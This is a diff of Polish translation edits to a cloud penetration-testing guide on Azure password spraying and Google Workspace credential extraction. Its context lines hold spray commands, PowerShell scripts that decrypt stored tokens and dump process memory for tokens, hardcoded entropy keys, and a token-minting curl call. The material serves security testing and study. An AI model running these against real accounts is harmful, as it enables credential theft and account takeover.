||||
W **Azure** można to zrobić przeciwko **różnym punktom końcowym API** takim jak Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice itp.
|
||||
|
||||
Jednak należy zauważyć, że ta technika jest **bardzo głośna** i Zespół Niebieski może **łatwo ją wykryć**. Co więcej, **wymuszona złożoność hasła** oraz użycie **MFA** mogą sprawić, że ta technika będzie w pewnym sensie bezużyteczna.
|
||||
Jednak należy zauważyć, że ta technika jest **bardzo głośna** i Blue Team może **łatwo ją wykryć**. Co więcej, **wymuszona złożoność haseł** oraz użycie **MFA** mogą sprawić, że ta technika będzie w pewnym sensie bezużyteczna.
|
||||
|
||||
Możesz przeprowadzić atak password spray za pomocą [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
||||
```powershell
|
||||
```bash
|
||||
. .\MSOLSpray\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
|
||||
```
|
||||
@@ -17,8 +17,8 @@ Lub z [**o365spray**](https://github.com/0xZDH/o365spray)
|
||||
```bash
|
||||
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
|
||||
```
|
||||
Lub z [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
```powershell
|
||||
Lub z użyciem [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
```bash
|
||||
#OWA
|
||||
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
|
||||
#EWS
|
||||
|
||||
@@ -20,17 +20,17 @@ Każda chmura ma swoje własne szczególności, ale ogólnie istnieje kilka **ws
|
||||
- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę**, taką jak instancje z stronami internetowymi lub innymi portami, które są wystawione, a także inne **usługi zarządzane w chmurze, które mogą być skonfigurowane** do wystawienia (takie jak bazy danych lub kosze)
|
||||
- Następnie powinieneś sprawdzić **czy ten zasób może być wystawiony czy nie** (informacje poufne? luki? błędy konfiguracyjne w wystawionej usłudze?)
|
||||
- **Sprawdź uprawnienia**
|
||||
- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdego roli/użytkownika** w chmurze i jak są one używane
|
||||
- Zbyt **wiele wysoko uprzywilejowanych** (kontrolujących wszystko) kont? Wygenerowane klucze, które nie są używane?... Większość tych sprawdzeń powinna być już wykonana w testach standardów
|
||||
- Jeśli klient korzysta z OpenID lub SAML lub innej **federacji**, możesz potrzebować poprosić ich o dodatkowe **informacje** na temat **jak każda rola jest przypisywana** (to nie to samo, co przypisanie roli administratora do 1 użytkownika lub do 100)
|
||||
- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdej roli/użytkownika** w chmurze i jak są one używane
|
||||
- Zbyt **wiele wysoko uprzywilejowanych** (kontrolujących wszystko) kont? Wygenerowane klucze, które nie są używane?... Większość tych kontroli powinna być już przeprowadzona w testach standardów
|
||||
- Jeśli klient używa OpenID lub SAML lub innej **federacji**, możesz potrzebować poprosić ich o dodatkowe **informacje** na temat **jak przypisywana jest każda rola** (to nie to samo, co przypisanie roli administratora 1 użytkownikowi lub 100)
|
||||
- **Nie wystarczy znaleźć**, którzy użytkownicy mają **uprawnienia administratora** "\*:\*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**.
|
||||
- Co więcej, istnieją **potencjalne ścieżki privesc**, które można śledzić, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę i **jak najwięcej ścieżek privesc powinno być** zgłoszonych.
|
||||
- Co więcej, istnieją **potencjalne ścieżki privesc**, które można wykorzystać, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę, a **jak najwięcej ścieżek privesc** powinno być zgłoszonych.
|
||||
- **Sprawdź integracje**
|
||||
- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w środowisku chmurowym.
|
||||
- Dla **integracji chmury, którą audytujesz** z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużywania) tej integracji** i powinieneś zapytać **jak wrażliwa** jest wykonywana akcja.\
|
||||
Na przykład, kto może pisać w koszu AWS, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest akcja w GCP w związku z tymi danymi).
|
||||
- Dla **integracji wewnątrz chmury, którą audytujesz** z zewnętrznych platform, powinieneś zapytać **kto ma dostęp zewnętrzny do (nadużywania) tej integracji** i sprawdzić, jak te dane są używane.\
|
||||
Na przykład, jeśli usługa korzysta z obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje i dostęp uzyska ten obraz po uruchomieniu w chmurze AWS.
|
||||
Na przykład, jeśli usługa używa obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do jego modyfikacji i jakie wrażliwe informacje oraz dostęp uzyska ten obraz po uruchomieniu w chmurze AWS.
|
||||
|
||||
## Narzędzia Multi-Cloud
|
||||
|
||||
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Druga zakładka" }}
|
||||
{{#tab name="Second Tab" }}
|
||||
```bash
|
||||
## For GCP it requires service account JSON credentials
|
||||
cloudlist -config </path/to/config>
|
||||
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Odkryj najbardziej uprzywilejowanych użytkowników w zeskanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell.
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
|
||||
@@ -412,7 +412,7 @@ azure-security/
|
||||
|
||||
### Attack Graph
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) tworzy "graf ataku" zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy „graf ataku” zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty.
|
||||
|
||||
### Office365
|
||||
|
||||
|
||||
+14
-14
@@ -4,17 +4,17 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
To narzędzie, które można wykorzystać do **synchronizacji użytkowników i grup z aktywnego katalogu z Workspace** (a nie odwrotnie w momencie pisania tego tekstu).
|
||||
To narzędzie, które można wykorzystać do **synchronizacji użytkowników i grup z Active Directory do Workspace** (a nie odwrotnie w momencie pisania tego tekstu).
|
||||
|
||||
Jest to interesujące, ponieważ jest to narzędzie, które będzie wymagać **poświadczeń superużytkownika Workspace i uprzywilejowanego użytkownika AD**. Dlatego może być możliwe znalezienie go na serwerze domeny, który synchronizuje użytkowników od czasu do czasu.
|
||||
|
||||
> [!NOTE]
|
||||
> Aby przeprowadzić **MitM** na binarnym pliku **`config-manager.exe`**, wystarczy dodać następującą linię w pliku `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
> Aby przeprowadzić **MitM** na binarnym pliku **`config-manager.exe`**, wystarczy dodać następującą linię do pliku `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) jest w stanie wykryć **GCDS**, uzyskać informacje o konfiguracji i **nawet hasła oraz zaszyfrowane poświadczenia**.
|
||||
|
||||
Zauważ również, że GCDS nie synchronizuje haseł z AD do Workspace. Jeśli już, to po prostu generuje losowe hasła dla nowo utworzonych użytkowników w Workspace, jak można zobaczyć na poniższym obrazku:
|
||||
Należy również zauważyć, że GCDS nie synchronizuje haseł z AD do Workspace. Jeśli już, to po prostu generuje losowe hasła dla nowo utworzonych użytkowników w Workspace, jak można zobaczyć na poniższym obrazku:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -49,12 +49,12 @@ Najciekawsza informacja w pliku to:
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
Zauważ, że **token** **odświeżania** i **hasło** użytkownika są **szyfrowane** za pomocą **AES CBC** z losowo wygenerowanym kluczem i IV przechowywanym w **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (gdziekolwiek biblioteka **`prefs`** Java przechowuje preferencje) w kluczach ciągowych **`/Encryption/Policy/V2.iv`** i **`/Encryption/Policy/V2.key`** przechowywanych w base64.
|
||||
Zauważ, że **token odświeżania** i **hasło** użytkownika są **szyfrowane** za pomocą **AES CBC** z losowo wygenerowanym kluczem i IV przechowywanym w **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (gdziekolwiek biblioteka Java **`prefs`** przechowuje preferencje) w kluczach ciągowych **`/Encryption/Policy/V2.iv`** i **`/Encryption/Policy/V2.key`** przechowywanych w base64.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skrypt Powershell do odszyfrowania tokena odświeżania i hasła</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||
@@ -150,19 +150,19 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Zauważ, że możliwe jest sprawdzenie tych informacji, przeszukując kod java **`DirSync.jar`** z **`C:\Program Files\Google Cloud Directory Sync`**, szukając ciągu `exportkeys` (ponieważ to jest parametr cli, którego oczekuje binarny plik `upgrade-config.exe`, aby wyeksportować klucze).
|
||||
> Zauważ, że możliwe jest sprawdzenie tych informacji, przeszukując kod java **`DirSync.jar`** z **`C:\Program Files\Google Cloud Directory Sync`**, szukając ciągu `exportkeys` (ponieważ to jest parametr cli, którego oczekuje binarny `upgrade-config.exe`, aby wyeksportować klucze).
|
||||
|
||||
Zamiast używać skryptu powershell, możliwe jest również użycie binarnego pliku **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** z parametrem `-exportKeys` i uzyskanie **Key** i **IV** z rejestru w formacie hex, a następnie użycie cyberchef z AES/CBC oraz tym kluczem i IV do odszyfrowania informacji.
|
||||
Zamiast używać skryptu powershell, możliwe jest również użycie binarnego **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** z parametrem `-exportKeys` i uzyskanie **Key** i **IV** z rejestru w formacie hex, a następnie użycie cyberchef z AES/CBC oraz tym kluczem i IV do odszyfrowania informacji.
|
||||
|
||||
### GCDS - Zrzut tokenów z pamięci
|
||||
### GCDS - Zrzucanie tokenów z pamięci
|
||||
|
||||
Podobnie jak w przypadku GCPW, możliwe jest zrzucenie pamięci procesu `config-manager.exe` (to jest nazwa głównego binarnego pliku GCDS z GUI) i będziesz w stanie znaleźć tokeny odświeżania i dostępu (jeśli zostały już wygenerowane).\
|
||||
Myślę, że można również znaleźć skonfigurowane poświadczenia AD.
|
||||
Podobnie jak w przypadku GCPW, możliwe jest zrzucenie pamięci procesu `config-manager.exe` (to jest nazwa głównego binarnego GCDS z GUI) i będziesz w stanie znaleźć tokeny odświeżania i dostępu (jeśli zostały już wygenerowane).\
|
||||
Myślę, że możesz również znaleźć skonfigurowane poświadczenia AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Zrzut procesów config-manager.exe i wyszukiwanie tokenów</summary>
|
||||
```powershell
|
||||
<summary>Zrzucanie procesów config-manager.exe i wyszukiwanie tokenów</summary>
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -248,9 +248,9 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GCDS - Zakresy
|
||||
|
||||
> [!NOTE]
|
||||
> Zauważ, że nawet posiadając token odświeżania, nie można żądać żadnego zakresu dla tokena dostępu, ponieważ można żądać tylko **zakresów obsługiwanych przez aplikację, w której generujesz token dostępu**.
|
||||
> Zauważ, że nawet posiadając token odświeżający, nie można żądać żadnego zakresu dla tokena dostępu, ponieważ można żądać tylko **zakresów obsługiwanych przez aplikację, w której generujesz token dostępu**.
|
||||
>
|
||||
> Ponadto, token odświeżania nie jest ważny w każdej aplikacji.
|
||||
> Ponadto, token odświeżający nie jest ważny w każdej aplikacji.
|
||||
|
||||
Domyślnie GCSD nie będzie miał dostępu jako użytkownik do każdego możliwego zakresu OAuth, więc używając poniższego skryptu możemy znaleźć zakresy, które można wykorzystać z `refresh_token`, aby wygenerować `access_token`:
|
||||
|
||||
|
||||
+19
-21
@@ -4,14 +4,14 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
To jest jednolity system logowania, który zapewnia Google Workspaces, aby użytkownicy mogli logować się na swoich komputerach z systemem Windows, używając **swoich danych logowania do Workspace**. Ponadto, będzie to przechowywać tokeny do uzyskiwania dostępu do Google Workspace w niektórych miejscach na komputerze.
|
||||
To jest jednolity system logowania, który zapewnia Google Workspaces, aby użytkownicy mogli logować się na swoich komputerach z systemem Windows, używając **swoich danych logowania do Workspace**. Ponadto, będzie to przechowywać tokeny do uzyskania dostępu do Google Workspace w niektórych miejscach na komputerze.
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) jest w stanie wykryć **GCPW**, uzyskać informacje o konfiguracji i **nawet tokeny**.
|
||||
|
||||
### GCPW - MitM
|
||||
|
||||
Gdy użytkownik uzyskuje dostęp do komputera z systemem Windows zsynchronizowanego z Google Workspace za pośrednictwem GCPW, będzie musiał wypełnić standardowy formularz logowania. Ten formularz logowania zwróci kod OAuth, który komputer wymieni na token odświeżania w żądaniu takim jak:
|
||||
Gdy użytkownik uzyskuje dostęp do komputera z systemem Windows zsynchronizowanego z Google Workspace za pomocą GCPW, będzie musiał wypełnić standardowy formularz logowania. Ten formularz logowania zwróci kod OAuth, który komputer wymieni na token odświeżania w żądaniu takim jak:
|
||||
```http
|
||||
POST /oauth2/v4/token HTTP/2
|
||||
Host: www.googleapis.com
|
||||
@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
Nowe linie zostały dodane, aby poprawić czytelność.
|
||||
|
||||
> [!NOTE]
|
||||
> Możliwe było przeprowadzenie ataku MitM poprzez zainstalowanie `Proxifier` na PC, nadpisując binarny plik `utilman.exe` plikiem `cmd.exe` i uruchamiając **funkcje ułatwień dostępu** na stronie logowania Windows, co uruchomi **CMD**, z którego można **uruchomić i skonfigurować Proxifier**.\
|
||||
> Nie zapomnij **zablokować ruchu QUICK UDP** w `Proxifier`, aby zredukować go do komunikacji TCP i móc go zobaczyć.
|
||||
> Możliwe było przeprowadzenie ataku MitM, instalując `Proxifier` na komputerze, nadpisując binarny plik `utilman.exe` plikiem `cmd.exe` i uruchamiając **funkcje ułatwień dostępu** na stronie logowania Windows, co uruchomi **CMD**, z którego można **uruchomić i skonfigurować Proxifier**.\
|
||||
> Nie zapomnij **zablokować ruchu QUICK UDP** w `Proxifier`, aby zredukować go do komunikacji TCP, dzięki czemu będziesz mógł go zobaczyć.
|
||||
>
|
||||
> Skonfiguruj również w "Usługi i inni użytkownicy" obie opcje i zainstaluj certyfikat Burp CA w Windows.
|
||||
> Skonfiguruj również w "Usługi i inni użytkownicy" obie opcje i zainstaluj certyfikat Burp CA w systemie Windows.
|
||||
|
||||
Dodatkowo dodając klucze `enable_verbose_logging = 1` i `log_file_path = C:\Public\gcpw.log` w **`HKLM:\SOFTWARE\Google\GCPW`** można sprawić, aby przechowywał pewne logi.
|
||||
Dodatkowo, dodając klucze `enable_verbose_logging = 1` i `log_file_path = C:\Public\gcpw.log` w **`HKLM:\SOFTWARE\Google\GCPW`**, można sprawić, aby przechowywał pewne logi.
|
||||
|
||||
### GCPW - Odcisk palca
|
||||
|
||||
Możliwe jest sprawdzenie, czy GCPW jest zainstalowane na urządzeniu, sprawdzając, czy istnieje następujący proces lub czy istnieją następujące klucze rejestru:
|
||||
```powershell
|
||||
```bash
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
Write-Output "The process gcpw_xtension.exe is running."
|
||||
@@ -104,14 +102,14 @@ Ponadto plik **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyF
|
||||
|
||||
## GCPW - Uzyskaj Tokeny
|
||||
|
||||
### GCPW - Odświeżanie Tokenów Rejestru
|
||||
### GCPW - Odświeżanie Tokenów w Rejestrze
|
||||
|
||||
W rejestrze **`HKCU:\SOFTWARE\Google\Accounts`** może być możliwe znalezienie niektórych kont z zaszyfrowanym **`refresh_token`** w środku. Metoda **`ProtectedData.Unprotect`** może łatwo go odszyfrować.
|
||||
W rejestrze **`HKCU:\SOFTWARE\Google\Accounts`** może być możliwe znalezienie niektórych kont z **`refresh_token`** zaszyfrowanym wewnątrz. Metoda **`ProtectedData.Unprotect`** może łatwo to odszyfrować.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Uzyskaj <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> dane i odszyfruj refresh_tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Import required namespace for decryption
|
||||
Add-Type -AssemblyName System.Security
|
||||
|
||||
@@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
|
||||
```
|
||||
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
||||
```
|
||||
Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=FEQxHRRP_5I), jeśli nie znajdziesz tokena w rejestrze, możliwe jest modyfikowanie wartości (lub usunięcie) z **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** i następnym razem, gdy użytkownik uzyska dostęp do komputera, będzie musiał się ponownie zalogować, a **token zostanie zapisany w poprzednim rejestrze**.
|
||||
Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=FEQxHRRP_5I), jeśli nie znajdziesz tokena w rejestrze, możliwe jest zmodyfikowanie wartości (lub usunięcie) z **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** i następnym razem, gdy użytkownik uzyska dostęp do komputera, będzie musiał się ponownie zalogować, a **token zostanie zapisany w poprzednim rejestrze**.
|
||||
|
||||
### GCPW - Tokeny odświeżania dysku
|
||||
|
||||
@@ -174,11 +172,11 @@ Plik **`%LocalAppData%\Google\Chrome\User Data\Local State`** przechowuje klucz
|
||||
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
|
||||
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
|
||||
|
||||
Możliwe jest znalezienie pewnego **kodu C#** uzyskującego dostęp do tych tokenów w odszyfrowanej formie w [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
Możliwe jest znalezienie pewnego **kodu C#** uzyskującego dostęp do tych tokenów w ich odszyfrowanej formie w [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
|
||||
Ponadto, szyfrowanie można znaleźć w tym kodzie: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
|
||||
Można zauważyć, że używany jest AESGCM, zaszyfrowany token zaczyna się od **wersji** (**`v10`** w tym czasie), następnie [**ma 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a następnie ma **tekst szyfrowany** z końcowym **mac o długości 16B**.
|
||||
Można zauważyć, że używany jest AESGCM, zaszyfrowany token zaczyna się od **wersji** (**`v10`** w tym czasie), następnie [**ma 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a następnie zawiera **tekst szyfrowany** z końcowym **mac o długości 16B**.
|
||||
|
||||
### GCPW - Zrzucanie tokenów z pamięci procesów
|
||||
|
||||
@@ -187,7 +185,7 @@ Poniższy skrypt można użyć do **zrzucenia** każdego procesu **Chrome** za p
|
||||
<details>
|
||||
|
||||
<summary>Zrzut procesów Chrome i wyszukiwanie tokenów</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -301,7 +299,7 @@ echo "Error: Token invalid or too short"
|
||||
|
||||
### GCPW - Generowanie tokenów dostępu z tokenów odświeżających
|
||||
|
||||
Używając tokena odświeżającego, możliwe jest generowanie tokenów dostępu przy użyciu tego tokena oraz identyfikatora klienta i tajnego klucza klienta określonych w następującym poleceniu:
|
||||
Używając tokena odświeżającego, możliwe jest generowanie tokenów dostępu przy użyciu go oraz identyfikatora klienta i tajnego klucza klienta określonych w następującym poleceniu:
|
||||
```bash
|
||||
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
|
||||
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
|
||||
@@ -320,7 +318,7 @@ Domyślnie GCPW nie będzie miał dostępu jako użytkownik do każdego możliwe
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skrypt Bash do brutalnego wymuszania zakresów</summary>
|
||||
<summary>Skrypt Bash do brute-force zakresów</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -344,7 +342,7 @@ rm /tmp/valid_scopes.txt
|
||||
```
|
||||
</details>
|
||||
|
||||
A oto wynik, który uzyskałem w momencie pisania:
|
||||
A oto wynik, który otrzymałem w momencie pisania:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -384,7 +382,7 @@ Ponadto, sprawdzając kod źródłowy Chromium, można [**znaleźć ten plik**](
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dodatkowe zakresy</summary>
|
||||
<summary>Extra scopes</summary>
|
||||
```
|
||||
https://www.google.com/accounts/OAuthLogin
|
||||
https://www.googleapis.com/auth/account.capabilities
|
||||
@@ -591,7 +589,7 @@ Niektóre przykłady użycia niektórych z tych zakresów:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
|
||||
+10
-10
@@ -4,9 +4,9 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
To jest binarny plik i usługa, które Google oferuje w celu **utrzymania synchronizacji haseł użytkowników między AD** a Workspace. Za każdym razem, gdy użytkownik zmienia swoje hasło w AD, jest ono ustawiane w Google.
|
||||
To jest binarny plik i usługa, które Google oferuje w celu **synchronizacji haseł użytkowników między AD** a Workspace. Za każdym razem, gdy użytkownik zmienia swoje hasło w AD, jest ono ustawiane w Google.
|
||||
|
||||
Instaluje się w `C:\Program Files\Google\Password Sync`, gdzie można znaleźć binarny plik `PasswordSync.exe` do jego konfiguracji oraz `password_sync_service.exe` (usługa, która będzie nadal działać).
|
||||
Instalowane jest w `C:\Program Files\Google\Password Sync`, gdzie można znaleźć binarny plik `PasswordSync.exe` do jego konfiguracji oraz `password_sync_service.exe` (usługa, która będzie nadal działać).
|
||||
|
||||
### GPS - Konfiguracja
|
||||
|
||||
@@ -14,7 +14,7 @@ Aby skonfigurować ten plik binarny (i usługę), należy **przyznać mu dostęp
|
||||
|
||||
- Zaloguj się za pomocą **OAuth** z Google, a następnie **zapisze token w rejestrze (szyfrowany)**
|
||||
- Dostępne tylko w kontrolerach domeny z GUI
|
||||
- Przyznanie **poświadczeń konta usługi z GCP** (plik json) z uprawnieniami do **zarządzania użytkownikami Workspace**
|
||||
- Przekazanie **poświadczeń konta usługi z GCP** (plik json) z uprawnieniami do **zarządzania użytkownikami Workspace**
|
||||
- Bardzo zły pomysł, ponieważ te poświadczenia nigdy nie wygasają i mogą być nadużywane
|
||||
- Bardzo zły pomysł, aby dać SA dostęp do workspace, ponieważ SA może zostać skompromitowane w GCP i możliwe będzie przejście do Workspace
|
||||
- Google wymaga tego dla kontrolowanych domen bez GUI
|
||||
@@ -29,14 +29,14 @@ Jeśli chodzi o AD, możliwe jest wskazanie, aby używało aktualnego **kontekst
|
||||
|
||||
W pliku **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** można znaleźć część konfiguracji, taką jak **`baseDN`** skonfigurowanego AD oraz **`username`**, których poświadczenia są używane.
|
||||
|
||||
W rejestrze **`HKLM\Software\Google\Google Apps Password Sync`** można znaleźć **szyfrowany token odświeżania** oraz **szyfrowane hasło** dla użytkownika AD (jeśli istnieje). Ponadto, jeśli zamiast tokenu używane są jakieś **poświadczenia SA**, również można je znaleźć zaszyfrowane w tym adresie rejestru. **Wartości** w tym rejestrze są dostępne tylko dla **Administratorów**.
|
||||
W rejestrze **`HKLM\Software\Google\Google Apps Password Sync`** można znaleźć **szyfrowany token odświeżania** oraz **szyfrowane hasło** dla użytkownika AD (jeśli istnieje). Ponadto, jeśli zamiast tokenu używane są jakieś **poświadczenia SA**, można je również znaleźć zaszyfrowane w tym adresie rejestru. **Wartości** w tym rejestrze są dostępne tylko dla **Administratorów**.
|
||||
|
||||
Szyfrowane **hasło** (jeśli istnieje) znajduje się w kluczu **`ADPassword`** i jest szyfrowane za pomocą API **`CryptProtectData`**. Aby je odszyfrować, musisz być tym samym użytkownikiem, który skonfigurował synchronizację haseł i użyć tej **entropii** podczas korzystania z **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
Szyfrowany token (jeśli istnieje) znajduje się w kluczu **`AuthToken`** i jest szyfrowany za pomocą API **`CryptProtectData`**. Aby go odszyfrować, musisz być tym samym użytkownikiem, który skonfigurował synchronizację haseł i użyć tej **entropii** podczas korzystania z **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Ponadto jest również kodowany za pomocą base32hex z użyciem słownika **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
Wartości entropii zostały znalezione przy użyciu narzędzia. Zostało skonfigurowane do monitorowania wywołań do **`CryptUnprotectData`** i **`CryptProtectData`**, a następnie narzędzie zostało użyte do uruchomienia i monitorowania `PasswordSync.exe`, które odszyfruje skonfigurowane hasło i token autoryzacyjny na początku, a narzędzie **pokaże wartości dla użytej entropii** w obu przypadkach:
|
||||
Wartości entropii zostały znalezione przy użyciu narzędzia. Zostało skonfigurowane do monitorowania wywołań do **`CryptUnprotectData`** i **`CryptProtectData`**, a następnie narzędzie zostało użyte do uruchomienia i monitorowania `PasswordSync.exe`, które odszyfruje skonfigurowane hasło i token autoryzacji na początku, a narzędzie **pokaże wartości dla użytej entropii** w obu przypadkach:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -52,7 +52,7 @@ Myślę, że można również znaleźć skonfigurowane poświadczenia AD.
|
||||
<details>
|
||||
|
||||
<summary>Zrzut <code>PasswordSync.exe</code> i procesów <code>password_sync_service.exe</code> oraz wyszukiwanie tokenów</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||
@@ -140,15 +140,15 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GPS - Zakresy
